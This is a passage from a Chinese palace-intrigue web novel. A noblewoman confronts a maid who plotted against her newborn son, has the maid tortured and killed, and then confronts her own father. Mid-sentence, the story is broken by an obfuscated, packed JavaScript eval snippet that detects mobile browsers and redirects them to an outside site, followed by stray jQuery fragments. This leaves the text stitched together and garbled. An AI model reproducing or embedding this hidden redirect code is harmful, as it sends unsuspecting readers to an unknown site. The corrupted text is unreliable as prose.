“你就是碍了我的眼。你没有回来之前,我是南陵哥这宫中唯一的女人,虽然他从未去看过我,从未公开表示什么,可是他给了我一处院子,我还有侍候我的奴才丫头,这里所有人都尊我为‘夫人’”。
虽然衣襟教沈青悦制住不得自由,可是红桃却并不示弱,她越说越高亢,眉目越来越激奋,“可是,自你来了之后,这里一切都变了样。我不再是受人尊敬的‘夫人’也就算了,我居然还要像从前那般供你使唤,以致我院子里的丫头小厮们,看我的眼光都充满着鄙视。更可恨的是,南陵哥居然还要将你留下,还要做你孩子的父亲,还要你做他的皇后……呜呜呜,我绝对咽不下这口气。”
“贱人,你也太过歹毒了。”
沈青悦手中发力,一掌扇在她的脸上,她异常震惊,想不到这个贱婢,原来是这般心思歹毒深沉的人。
看来,她从前与她共处一室,有时甚至同床共枕,而且她还特别口无遮拦,如今想想,她那时没有教她害死,是不是应该感谢她的不杀之恩呢?
“贱人,我看你也就这点出息,为了男人,你不仅践踏我对你姐妹般的情谊,你甚至还对我和孩子下毒手,要我一尸两命,甚至在我汤药里加红花,为的是让我绝育,甚至还将我的孩子送到‘净身堂’,为的就是将他卖到他祖父的宫里去当太监……我沈青悦真是瞎了眼,我从前对你那般没心没肺的好,却没想到,换来你这贱人如此歹毒的残害。你说,我若不好好‘答谢’,岂不辜负了你!”
沈青悦怒骂着,只恨不得生啖其肉,叫骂之后犹嫌不够,双手揪着她的衣襟将她扯翻在地时,这时只见红桃在地上翻滚了一下,满头长发便似杂草般胡乱披散着。
她虽然双手捂脸止住了哭声,却又抬眼向着沈青悦冷笑着,“怎么样,我这计策不错吧,你的孩子被我送去‘净身堂’,成了太监了,这也有老爷的一份功劳呢,哈哈哈……”
“你……很好。看来我若不好好‘以你之道,还施你身’,倒显得我懦弱了。”
沈青悦从袖中抽出一张卷折着泛黄的纸,丢在她的面上,毫无情感波澜地说道,“这是你的身契,如今还给你,我沈府庙小,实在不敢供养你这种丧尽天良的恶鬼。还有,这上头便是我沈府管家贵叔的字迹,我从小也不懂,贵叔说你父母,原是逃荒路过我家的,是你父母央求贵叔,收留你的,然后他们收了银子自顾离去的。喏,这上面白纸黑字,不过是想与你说,无论你想与不想侍候我,你终究是我沈府养大的一个下贱婢子。你看南陵哥再怎样给你一处院子,再怎样给你奴才成堆的侍候,不过是不想拂了我父亲的好意。而我还愿意让你来我身边,不过因为我是个念旧之人,我以为你也如我这般时常留恋着,我们有着一起走过的年少时光,可终究,是我错了。”
红桃捏着眼前这因为年久便泛着苍黄的纸,她看清了上头标着的价码,她的父母收了沈府管家给的三两银子,便撇下她不管了。
她随手将黄纸撇开,心中却仍有太多不甘,本来她在顾南陵的宫中安享奴才丫头们的尊崇,是她沈青悦千不该万不该回来,重新夺走了顾南陵的关注。
想到此,虽然她的身世被沈青悦无情的揭开,露出内里的卑贱,可是,红桃还是梗着一口气,朝着沈青悦得意地大笑,“我这条贱命也就无所谓了,可是你的孩子,却刚刚出世就做了太监了呢……哈哈哈。”
地上的红桃一直坚信沈青悦的孩子已经被“净身去势”了,因此,她毫不顾忌地笑得疯狂。
在她的疯狂笑声中,沈青悦闭眼深深吸气,却仍深感悲哀,她想到去年在北苍城南救济灾民时,遇到夏茗的刺杀,还有如今,见识了红桃歹毒的手段,这些都令她看清了一份现实,人性本自私,人心会有无尽的欲-望,人会为自己的欲-望去伤害别人,哪怕是相知多年的朋友亲人。
她闭眼,在心底将与红桃共有的过去割裂开来,她不仅在心底对她施以极刑,而且还吩咐侍卫,既然这个贱婢先对她下药红花,还准备对她的孩子实施“净身去势”,那么,她也要让红桃尝尝被施以宫刑“幽闭”的滋味,她也不会直接杀她见血,她一定还要让侍卫喂她服下软筋散与聋哑药,再将她捆绑,投进枯井……
是的,红桃死了,那个曾经在她无知岁月中与她共同成长,甚至曾经共同用过一条月事布条的姐妹,她将她看作亲人的一个人,死了。
坐在去往沈府的马车中,沈青悦品味着红桃那句“你的孩子被我送去‘净身堂’,成了太监了,这也有老爷的一份功劳啊,”再想着红桃在她身后发出了的尖锐的疯狂嘲笑声,她突然想起自己的娘亲。
记得那年上元时节,她在北堂翊府中,听到北苍皇帝北堂贺亲口讲起,当年娘亲的家族受到灭族之灾,娘亲从九月山庄返京途中,迎面便见到一大队兵马。
当时,她还以为那是前来迎接共同返京的她与北堂贺的,可谁知,待她与他策马近前,却听到这队兵马对她喊出“捉拿莫氏余孽”的声音。
原来,当时朝廷派出的这队兵马是要捉拿她,甚至追杀她的自己人。
沈青悦想想如今她所遭遇的人-祸,再想想当初娘亲奋力躲避追杀时的绝望,沈青悦终于觉得,她读懂了自己的娘亲。
进入沈府,沈青悦又到书房找到了自己的父亲沈致远。
“沈致远,原来是你纵容红桃那贱人,将我的孩子送去‘净身堂’,不仅要将他‘去势’,还要将他卖到北苍他祖父的宫中去当太监。”
沈青悦愤然推开房门,立即毫不客气地讨伐着自己的父亲,“沈致远,你这般对一个无辜的婴孩下毒手,你也太无人性了,枉我过去那般敬重你,如今,我要与你恩怨全消。”
“悦儿,你是说,红桃将孩子送去‘净身堂’?这个贱人。”
书桌边上的沈致远搁下一本册子,他的面色也是异常难看,从袖中取出帕子擦拭着额上冷汗,“你刚生下那孩子,我确实不喜欢,就想让她送出去给随意一户人家,真的不曾想过要让他‘净身’,悦儿,你信我。”
“爹
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16350899|177134||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
,我如何能信你?呜呜呜……”
沈青悦气得脸色发白,以帕拭泪,边哭边说着,“你们是我最亲近的人,我本来毫无防备,却不想让你们伤得最狠。”
“悦儿,别哭,啊,乖女儿……”
沈致远见沈青悦哭得太伤心了,再听她这样一说,脸色羞惭,立即离开座位,上前想扶着自己女儿的颤抖的双肩,可是沈青悦却毫不犹豫地避开。
她吸着鼻子,红着眼眶,瞪着自己的父亲,“在北苍,我虽曾经遭受皇后的暗害,差点一尸两命,可那时我不仅不伤心反而激发起斗志,一定要叫她偿还这笔血债,只因她是我的敌人。如今,我在自己家里,又遭受到自己家人的伤害,爹,你说啊,我该不该视你为敌?”
“悦儿……”
“爹,我如今的遭遇,让我想起了我娘。你知道我娘本是北苍人氏,可她为何前来大夏投奔你,你知道吗?你如果还以为她是因为爱你才来的,那你也太一厢情愿了……呵呵,你可还知道,北苍有个名门望族,莫姓,有位鼎鼎大名的莫世忠将军吗?那是我外祖父……”
在沈致远怔愣的注视下,沈青悦向他讲起,她的外祖父莫世忠将军,原是北苍征战四方的战神,他是北苍的“无冕之王”,因被当时的皇帝,北堂翊的祖父北堂煊污以谋反,而莫家满门忠烈都命丧于北苍人的手中,娘亲就是为了躲避追兵,才逃到大夏来投奔他沈致远的……
听着自家女儿的叙述,沈致远的脸色无比煞白,胸口异常沉闷,他这才知道了,自己的妻子莫若烟缘何会突然降临到他面前的缘故了……
想到过去种种,难怪他的妻子在战场那般豪迈骁勇不输男儿,原来她是将门虎女。
不论怎样,也不论她当初为何突然降临的目的,反正她心里有想到他,并与他生儿育女,与他在战场酣畅淋漓地携手比肩,那份畅快……
比起北苍那个爱而不得的孤家寡人北堂贺,这一生,他真的知足了……
他真的很爱她……
有两行泪悄悄滑下没入前襟,他深深吸了一口气,终于明白了自己女儿此番前来的用意,他下了决定,说道,“悦儿,爹确实糊涂了,爹向你认错。爹太自私了,把对北堂贺的恨,加诸在你和那小子,还有你们的孩子身上,你应该怨爹,如今我没有话说。爹是个勇士不是懦夫,我如今唯一能做的,就是明日起,我要带上我的人马,前去玉门关,扫荡敌寇,助他一臂之力。”
“不,爹,你若真心想挽回,想让我娘泉下安心,你就该留下帮我照看你的外孙。至于上战场之事,就该由我与阿翊这等后辈来承担。我不要你去玉门关,毕竟,你年岁渐大,也多年未上战场,万一有个闪失,我将来如何面对我娘?因此,就让我带兵前去,你给我看着孩子。”
“也好,只要我的悦儿能消消气,不再视我为敌抛弃我,爹说什么都是愿意的。爹如今也只剩你一个亲人了,你大哥也不知……”
“爹,其实我大哥没事,他在北苍呢,说什么在追查什么人……”